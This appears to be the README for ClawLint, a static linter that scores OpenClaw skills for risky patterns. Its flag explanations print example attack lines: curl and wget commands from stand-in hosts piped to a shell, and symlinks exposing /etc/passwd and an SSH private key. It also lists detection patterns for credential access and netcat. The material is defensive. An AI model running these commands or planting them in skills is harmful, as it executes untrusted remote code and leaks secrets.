ClawLint

Security linter for OpenClaw skills

Runs a local audit over your installed OpenClaw skills without executing any code. Scans both workspace (~/.openclaw/workspace/skills) and system (~/.openclaw/skills) directories.

With 7.1% of ClawHub skills containing security flaws, ClawLint provides pre-execution defense by identifying malicious patterns before they run.

Summary

ClawLint audits OpenClaw skills for security threats without executing code. It detects malicious patterns like remote execution, credential theft, and backdoors, then assigns risk scores (0-100) and generates SHA256 hashes for integrity monitoring. Outputs JSON for automation and CI/CD pipelines.

What It Does

• Risk scoring — assigns a numeric risk score (0-100) based on detected patterns
• Audit flags — identifies suspicious behaviors (remote execution, secret access, etc.)
• Inventory mode — optional SHA256 hashing of all files for change detection
• JSON output — machine-readable results (requires Python 3)
• No execution — static analysis only, safe to run on untrusted skills

Quick Start

Scan all skills (summary view)

{baseDir}/bin/claw-lint.sh

Scan one specific skill

{baseDir}/bin/claw-lint.sh --skill <skill-name>

Example: {baseDir}/bin/claw-lint.sh --skill hashnode-publisher

Full inventory with SHA256 hashes

{baseDir}/bin/claw-lint.sh --full --skill <skill-name>

JSON output (requires Python 3)

{baseDir}/bin/claw-lint.sh --format json

Options

Understanding the Output

Risk Score

• 0-30: Low risk (common patterns, minimal concerns)
• 31-60: Medium risk (network access, file operations)
• 61-100: High risk (remote execution, credential access, system tampering)

Common Flags

• pipes_remote_to_shell — downloads and executes remote code
• downloads_remote_content — fetches external files
• has_executables — contains binary files
• uses_ssh_or_scp — SSH/SCP operations
• contains_symlinks — symbolic links present

Example Output

SCORE  SKILL                FILES  SIZE     FLAGS
-----  -----                -----  ----     -----
57     hashnode-publisher   2      1.1KB    downloads_remote_content,pipes_remote_to_shell
45     ec2-health-monitor   2      1.9KB    pipes_remote_to_shell

Risk Scoring Details

ClawLint assigns risk scores from 0 (safe) to 100 (critical) based on pattern detection:

Scoring Factors

• +25 points: Remote execution patterns (curl | bash, wget -O-, nc)
• +30 points: Secret/credential access (~/.openclaw/credentials, ~/.ssh/)
• +20 points: Privilege escalation (sudo, setuid, chmod +s)
• +15 points: Code obfuscation (base64 decode, eval, exec in suspicious contexts)
• +10 points: External network calls (curl, wget, http requests)
• +10 points: File system operations outside skill directory
• +5 points: Use of /tmp or world-writable directories

Audit Flags Explained

pipes_remote_to_shell

Downloads and executes external code without verification.

Examples:

curl https://evil.com/script.sh | bash
wget -O- https://malicious.site/payload | sh

Risk: Critical. Remote code execution vector for malware.

downloads_remote_content

Fetches external files or data from the internet.

Examples:

curl -O https://example.com/file.tar.gz
wget https://cdn.example.com/data.json

Risk: Medium-High. Potential supply chain attack or data exfiltration.

has_executables

Contains compiled binary files (not shell scripts).

Examples:

• ELF binaries
• Compiled programs

Risk: Medium. Harder to audit, may contain hidden functionality.

uses_ssh_or_scp

Performs SSH/SCP operations.

Examples:

ssh user@remote.host "command"
scp file.txt user@remote:/path/

Risk: Medium. Potential for unauthorized remote access or data transfer.

contains_symlinks

Includes symbolic links that may point outside skill directory.

Examples:

ln -s /etc/passwd exposed_file
ln -s ~/.ssh/id_rsa key_link

Risk: Low-Medium. May expose sensitive files or create confusion.

Requirements

• Bash 4.0+
• Standard Unix tools: find, grep, awk, sha256sum, stat
• Python 3 (optional, for JSON output only)

Works on Ubuntu/Debian without sudo. Designed for EC2 and similar environments.

Why Use This?

• Audit skills before installation
• Detect backdoors or malicious patterns in community skills
• Track changes to installed skills with SHA256 inventory
• Enforce security policies in automated pipelines

Output Formats

Terminal Output (Default)

Human-readable table format with color-coded risk scores (when terminal supports colors).

JSON Output (--format json)

Machine-readable structure for integration with CI/CD pipelines:

{
  "scan_date": "2026-02-13T14:50:00Z",
  "skills_scanned": 12,
  "high_risk_count": 2,
  "results": [
    {
      "skill_name": "hashnode-publisher",
      "risk_score": 57,
      "file_count": 2,
      "total_size": "1.1KB",
      "flags": ["downloads_remote_content", "pipes_remote_to_shell"],
      "files": [
        {
          "path": "bin/publish.sh",
          "sha256": "a1b2c3d4...",
          "size": 896
        }
      ]
    }
  ]
}

Best Practices

Regular Audits

Run ClawLint after installing or updating skills:

{baseDir}/bin/claw-lint.sh --min-score 50

Baseline Inventory

Create a security baseline for production environments:

{baseDir}/bin/claw-lint.sh --full --format json > baseline.json

Re-run periodically and diff against baseline to detect tampering.

CI/CD Integration

Add to your deployment pipeline:

# Fail build if any skill scores above 60
{baseDir}/bin/claw-lint.sh --format json | python3 -c "
import json, sys
data = json.load(sys.stdin)
high_risk = [s for s in data['results'] if s['risk_score'] > 60]
if high_risk:
    print(f'❌ {len(high_risk)} high-risk skills detected')
    sys.exit(1)
"

Whitelist Trusted Skills

For known-safe skills with legitimate flags, document exceptions:

# Example: hashnode-publisher needs network access
{baseDir}/bin/claw-lint.sh --skill hashnode-publisher
# Expected score: 45-60 (downloads_remote_content is legitimate)

Limitations

• Static analysis only — cannot detect runtime behavior or dynamically generated code
• Pattern-based — may have false positives for legitimate use cases
• No sandbox — does not execute or test skills
• Local files only — scans installed skills, not ClawHub packages before install

For comprehensive security, combine ClawLint with:

• Manual code review for critical skills
• VirusTotal scanning for executables
• Runtime monitoring and sandboxing
• Regular security updates

Contributing

Report false positives or suggest new detection patterns at the OpenClaw security repository.

License

MIT License - Free to use, modify, and distribute.